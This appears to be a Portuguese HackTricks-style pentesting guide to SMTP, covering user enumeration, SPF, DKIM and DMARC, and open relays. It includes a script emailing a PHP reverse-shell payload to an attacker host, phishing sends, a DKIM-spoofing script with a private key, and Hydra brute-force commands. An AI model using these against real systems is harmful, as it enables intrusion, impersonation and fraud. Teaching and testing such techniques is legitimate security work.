# 25,465,587 - Pentesting SMTP/s

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**Configuração imediatamente disponível para avaliação de vulnerabilidade e pentesting**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, explorar vulnerabilidades e se divertir. {% embed url="https://pentest-tools.com/" %} ## **Informações Básicas** **SMTP (Simple Mail Transfer Protocol)** é um protocolo TCP/IP utilizado no **envio** e recebimento de **e-mails**. No entanto, como é limitado na sua capacidade de enfileirar mensagens no final de recebimento, geralmente é usado com um dos dois outros protocolos, POP3 ou IMAP, que permitem ao usuário salvar mensagens em uma caixa de correio do servidor e baixá-las periodicamente do servidor. Em outras palavras, **os usuários tipicamente utilizam** um programa que usa **SMTP para enviar e-mails** e **POP3 ou IMAP para receber** e-mails. Em sistemas baseados em Unix, **sendmail** é o servidor SMTP mais utilizado para e-mails. Um pacote comercial, Sendmail, inclui um servidor POP3. **Microsoft Exchange** inclui um servidor SMTP e também pode ser configurado para incluir suporte POP3.\ De [aqui](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol). **Porta padrão:** 25,465(ssl),587(ssl) ``` PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` ### Cabeçalhos de EMAIL Se você tiver a oportunidade de **fazer a vítima enviar-lhe um email** (através do formulário de contato da página web, por exemplo), faça isso porque **você poderá aprender sobre a topologia interna** da vítima observando os cabeçalhos do email. Você também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email de NDN). Mas, certifique-se de que você envia o email de um endereço permitido (verifique a política de SPF) e que você pode receber mensagens de NDN. Você também deve tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos como: `X-Virus-Scanned: by av.domain.com`\ Você deve enviar o arquivo de teste EICAR.\ Detectar o **AV** pode permitir que você explore **vulnerabilidades conhecidas.** ## Ações Básicas ### **Captura de Banner/Conexão Básica** **SMTP:** ```bash nc -vn 25 ``` **SMTPS**: ```bash openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ``` ### Encontrando servidores MX de uma organização ```bash dig +short mx google.com ``` ### Enumeração ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### NTLM Auth - Divulgação de Informações Se o servidor suporta autenticação NTLM (Windows), você pode obter informações sensíveis (versões). Mais informações [**aqui**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). ```bash root@kali: telnet example.com 587 220 example.com SMTP Server Banner >> HELO 250 example.com Hello [x.x.x.x] >> AUTH NTLM 334 NTLM supported >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` Ou **automatize** isso com o plugin do **nmap** `smtp-ntlm-info.nse` ### Nome do servidor interno - Divulgação de informações Alguns servidores SMTP completam automaticamente o endereço do remetente quando o comando "MAIL FROM" é emitido sem um endereço completo, divulgando seu nome interno: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all 250-somedomain.com Hello [x.x.x.x] 250-TURN 250-SIZE 52428800 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250 OK MAIL FROM: me 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK ``` ### Sniffing Verifique se você consegue capturar alguma senha dos pacotes para a porta 25 ### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp) ## Enumeração de Bruteforce de Nome de Usuário **A autenticação nem sempre é necessária** ### RCPT TO ```bash $ telnet 10.0.10.1 25 Trying 10.0.10.1... Connected to 10.0.10.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO x 250 myhost Hello [10.0.0.99], pleased to meet you MAIL FROM:test@test.org 250 2.1.0 test@test.org... Sender ok RCPT TO:test 550 5.1.1 test... User unknown RCPT TO:admin 550 5.1.1 admin... User unknown RCPT TO:ed 250 2.1.5 ed... Recipient ok ``` ### VRFY ``` $ telnet 10.0.0.1 25 Trying 10.0.0.1... Connected to 10.0.0.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x 250 myhost Hello [10.0.0.99], pleased to meet you VRFY root 250 Super-User VRFY blah 550 blah... User unknown ``` ### EXPN ``` $ telnet 10.0.10.1 25 Trying 10.0.10.1... Connected to 10.0.10.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x EXPN test 550 5.1.1 test... User unknown EXPN root 250 2.1.5 EXPN sshd 250 2.1.5 sshd privsep ``` Extraído de: [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) ### Ferramentas automáticas ``` Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ```

**Configuração imediatamente disponível para avaliação de vulnerabilidade e pentesting**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para lhes dar mais tempo para investigar mais a fundo, explorar sistemas e se divertir. {% embed url="https://pentest-tools.com/" %} ## Relatórios DSN **Relatórios de Notificação de Status de Entrega**: Se você enviar um **email** para uma organização com um **endereço inválido**, a organização notificará que o endereço foi invalidado enviando um **email de volta para você**. Os **cabeçalhos** do email retornado **conterão** possíveis **informações sensíveis** (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações do software antivírus). ## [Comandos](smtp-commands.md) ### Enviando um Email do console linux ``` root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. IT Dept, We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems. Sincerely, ``` ```bash swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` ### Enviando um Email com Python Aqui está uma maneira alternativa de enviar um email com um script python ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587 # create message object instance msg = MIMEMultipart() # setup the parameters of the message password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!" # payload message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport)) print("[*] Payload is generated : %s" % message) msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport) if server.noop()[0] != 250: print("[-]Connection Error") exit() server.starttls() # Uncomment if log-in with authencation # server.login(msg['From'], password) server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() print("[***]successfully sent email to %s:" % (msg['To'])) ``` ## Falsificação de E-mail A maior parte desta seção foi extraída do livro **Network Security Assessment 3rd Edition**. As mensagens SMTP são facilmente falsificadas, e por isso as organizações utilizam recursos **SPF**, **DKIM** e **DMARC** para impedir que partes não autorizadas enviem e-mails. Um **guia completo dessas contramedidas** pode ser encontrado em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) ### SPF {% hint style="danger" %} SPF [foi "descontinuado" em 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Isso significa que, em vez de criar um **registro TXT** em `_spf.domain.com`, você o cria em `domain.com` usando a **mesma sintaxe**.\ Além disso, para reutilizar registros SPF anteriores, é bastante comum encontrar algo como `"v=spf1 include:_spf.google.com ~all"` {% endhint %} **Sender Policy Framework** (SPF) fornece um mecanismo que permite aos MTAs verificar se um host que envia um e-mail está autorizado.\ Então, as organizações podem definir uma lista de servidores de e-mail autorizados e os MTAs podem consultar essas listas para verificar se o e-mail foi falsificado ou não.\ Para definir endereços/ranges de IP, domínios e outros que estão **autorizados a enviar e-mails em nome de um nome de domínio**, diferentes "**Mecanismos**" podem aparecer no registro SPF. #### Mecanismos | Mecanismo | Descrição | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ALL | Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs não correspondidos pelos mecanismos anteriores. | | A | Se o nome do domínio tem um registro de endereço (A ou AAAA) que pode ser resolvido para o endereço do remetente, ele corresponderá. | | IP4 | Se o remetente está em uma determinada faixa de endereços IPv4, corresponde. | | IP6 | Se o remetente está em uma determinada faixa de endereços IPv6, corresponde. | | MX | Se o nome do domínio tem um registro MX que resolve para o endereço do remetente, ele corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). | | PTR | Se o nome do domínio (registro PTR) para o endereço do cliente está no domínio dado e esse nome de domínio resolve para o endereço do cliente (DNS reverso confirmado), corresponde. Este mecanismo é desencorajado e deve ser evitado, se possível. | | EXISTS | Se o nome do domínio dado resolve para qualquer endereço, corresponde (não importa para qual endereço ele resolve). Isso é raramente usado. Junto com a linguagem de macro SPF, oferece correspondências mais complexas como consultas DNSBL. | | INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passa. No entanto, se a política incluída falhar, o processamento continua. Para delegar completamente a política de outro domínio, a extensão de redirecionamento deve ser usada. | | REDIRECT |

Um redirecionamento é um ponteiro para outro nome de domínio que hospeda uma política SPF, permite que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.

A política SPF do domínio indicado no Mecanismo de redirecionamento será usada.

| Também é possível identificar **Qualificadores** que indicam **o que deve ser feito se um mecanismo corresponder**. Por padrão, o **qualificador "+"** é usado (então, se qualquer mecanismo corresponder, isso significa que é permitido).\ Você geralmente notará **no final de cada política SPF** algo como: **\~all** ou **-all**. Isso é usado para indicar que **se o remetente não corresponder a nenhuma política SPF, você deve marcar o e-mail como não confiável (\~) ou rejeitar (-) o e-mail.** #### Qualificadores Cada mecanismo pode ser combinado com um dos quatro qualificadores: * **`+`** para um resultado PASS. Isso pode ser omitido; por exemplo, `+mx` é o mesmo que `mx`. * **`?`** para um resultado NEUTRAL interpretado como NONE (sem política). * **`~`** (tilde) para SOFTFAIL, um auxílio de depuração entre NEUTRAL e FAIL. Tipicamente, mensagens que retornam um SOFTFAIL são aceitas, mas marcadas. * **`-`** (menos) para FAIL, o e-mail deve ser rejeitado (veja abaixo). No exemplo a seguir, você pode ler a **política SPF do google.com**. Note como a **primeira política SPF inclui políticas SPF de outros domínios:** ```shell-session kali@kali:~$ dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" kali@kali:~$ dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" kali@kali:~$ dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" kali@kali:~$ dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" kali@kali:~$ dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Tradicionalmente era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/ou nenhum registro SPF. **Atualmente**, se um **email** vier de um **domínio sem um registro SPF válido** provavelmente será **rejeitado/marcado como não confiável automaticamente**. Para verificar o SPF de um domínio, você pode usar ferramentas online como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM DomainKeys Identified Mail (DKIM) é um mecanismo pelo qual **emails enviados são assinados e validados por MTAs estrangeiros ao recuperar a chave pública de um domínio via DNS**. A chave pública DKIM é mantida dentro de um registro TXT para um domínio; no entanto, você deve saber tanto o seletor quanto o nome do domínio para recuperá-la. Então, para solicitar a chave, você precisa do nome do domínio e do seletor do email do cabeçalho do email `DKIM-Signature` por exemplo: `d=gmail.com;s=20120113` ```bash dig 20120113._domainkey.gmail.com TXT | grep p= 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC Domain-based Message Authentication, Reporting & Conformance (DMARC) é um método de autenticação de e-mail que expande o SPF e o DKIM. Políticas instruem servidores de e-mail sobre como processar e-mails para um determinado domínio e relatar as ações realizadas. ![](<../../.gitbook/assets/image (134).png>) **Para obter o registro DMARC, você precisa consultar o subdomínio \_dmarc** ```shell-session root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC _dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\; rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;" root@kali:~# dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com" root@kali:~# dig _dmarc.paypal.com txt | grep DMARC _dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\; ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com" ``` #### Tags DMARC | Nome da Tag | Propósito | Exemplo | | ----------- | ----------------------------------------------- | -------------------------------- | | v | Versão do protocolo | v=DMARC1 | | pct | Percentagem de mensagens sujeitas a filtragem | pct=20 | | ruf | URI de relatório para relatórios forenses | ruf=mailto:authfail@example.com | | rua | URI de relatório de relatórios agregados | rua=mailto:aggrep@example.com | | p | Política para o domínio organizacional | p=quarantine | | sp | Política para subdomínios do DO | sp=reject | | adkim | Modo de alinhamento para DKIM | adkim=s | | aspf | Modo de alinhamento para SPF | aspf=r | ### **E quanto a Subdomínios?** **De** [**aqui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.\ O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de informação. > A Questão Demoníaca: E quanto a subdomínios? > > Se eu receber um e-mail de pielovers.demon.co.uk, e não houver dados SPF para pielovers, devo voltar um nível e testar o SPF para demon.co.uk? Não. Cada subdomínio na Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido a política da Demon aplicar-se a todos os seus clientes por padrão; se a Demon quiser fazer isso, ela pode configurar registros SPF para cada subdomínio. > > Portanto, o conselho para publicadores de SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX. > > Sites com registros A ou MX curinga também devem ter um registro SPF curinga, da forma: \* IN TXT "v=spf1 -all" Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição de SPF muito diferente. ### **Open Relay** Para evitar que os e-mails enviados sejam filtrados pelos filtros de spam e não cheguem ao destinatário, o remetente pode usar um **servidor de retransmissão que o destinatário confia**. Muitas vezes, os administradores **não têm uma visão geral** de quais faixas de **IP** eles têm que **permitir**. Isso resulta em uma má configuração do servidor SMTP que ainda encontraremos frequentemente em testes de penetração externos e internos. Portanto, eles **permitem todos os endereços IP** para não causar erros no tráfego de e-mails e assim não perturbar ou interromper involuntariamente a comunicação com clientes potenciais e atuais. ```shell-session mynetworks = 0.0.0.0/0 ``` ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Ferramentas** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Verificar configurações incorretas de SPF e DMARC** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obter automaticamente configurações de SPF e DMARC** ### Enviar Email Falso * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\* **Ou você pode usar uma ferramenta:** * [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\* ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} Se você encontrar algum **erro ao usar a biblioteca python dkim** ao analisar a chave, fique à vontade para usar a seguinte.\ **NOTA**: Isso é apenas uma solução rápida para fazer verificações rápidas em casos onde, por algum motivo, a chave privada openssl **não pode ser analisada pelo dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY----- ``` {% endhint %} **Ou você pode fazer isso manualmente:** {% tabs %} {% tab title="PHP" %}

# Isso enviará uma mensagem não assinada
mail("seu_email@gmail.com", "Assunto de Teste!", "Ei! Isso é um teste", "De: administrator@victim.com");

{% endtab %} {% tab title="Python" %} ```python # Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py import os import dkim #pip3 install dkimpy import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase # Set params destination="destination@gmail.com" sender="administrator@victim.com" subject="Test" message_html="""

This is a test, not a scam

""" sender_domain=sender.split("@")[1] # Prepare postfix os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf") os.system("systemctl restart postfix") # Generate DKIM keys dkim_private_key_path="dkimprivatekey.pem" os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null") with open(dkim_private_key_path) as fh: dkim_private_key = fh.read() # Generate email msg = MIMEMultipart("alternative") msg.attach(MIMEText(message_html, "html")) msg["To"] = destination msg["From"] = sender msg["Subject"] = subject headers = [b"To", b"From", b"Subject"] msg_data = msg.as_bytes() # Sign email with dkim ## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted) dkim_selector="s1" sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers) msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode() msg_data = msg.as_bytes() # Use local postfix relay to send email smtp="127.0.0.1" s = smtplib.SMTP(smtp) s.sendmail(sender, [destination], msg_data) ``` {% endtab %} {% endtabs %} ### **Mais informações** **Encontre mais informações sobre essas proteções em** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) ### **Outros indicadores de phishing** * Idade do domínio * Links apontando para endereços IP * Técnicas de manipulação de links * Anexos suspeitos (incomuns) * Conteúdo de e-mail quebrado * Valores utilizados que são diferentes dos cabeçalhos de e-mail * Existência de um certificado SSL válido e confiável * Submissão da página a sites de filtragem de conteúdo web ## Exfiltração através do SMTP **Se você pode enviar dados via SMTP** [**leia isto**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.** ## Arquivo de configuração ### Postfix Normalmente, se instalado, em `/etc/postfix/master.cf` contém **scripts para executar** quando, por exemplo, um novo e-mail é recebido por um usuário. Por exemplo, a linha `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` será executado se um novo e-mail for recebido pelo usuário mark. Outros arquivos de configuração: ``` sendmail.cf submit.cf ``` ## Comandos Automáticos HackTricks ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. https://book.hacktricks.xyz/pentesting/pentesting-smtp Entry_2: Name: Banner Grab Description: Grab SMTP Banner Command: nc -vn {IP} 25 Entry_3: Name: SMTP Vuln Scan Description: SMTP Vuln Scan With Nmap Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} Entry_4: Name: SMTP User Enum Description: Enumerate uses with smtp-user-enum Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} Entry_5: Name: SMTPS Connect Description: Attempt to connect to SMTPS two different ways Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 Entry_6: Name: Find MX Servers Description: Find MX servers of an organization Command: dig +short mx {Domain_Name} Entry_7: Name: Hydra Brute Force Description: Need Nothing Command: hydra -P {Big_Passwordlist} {IP} smtp -V Entry_8: Name: consolesless mfs enumeration Description: SMTP enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ```

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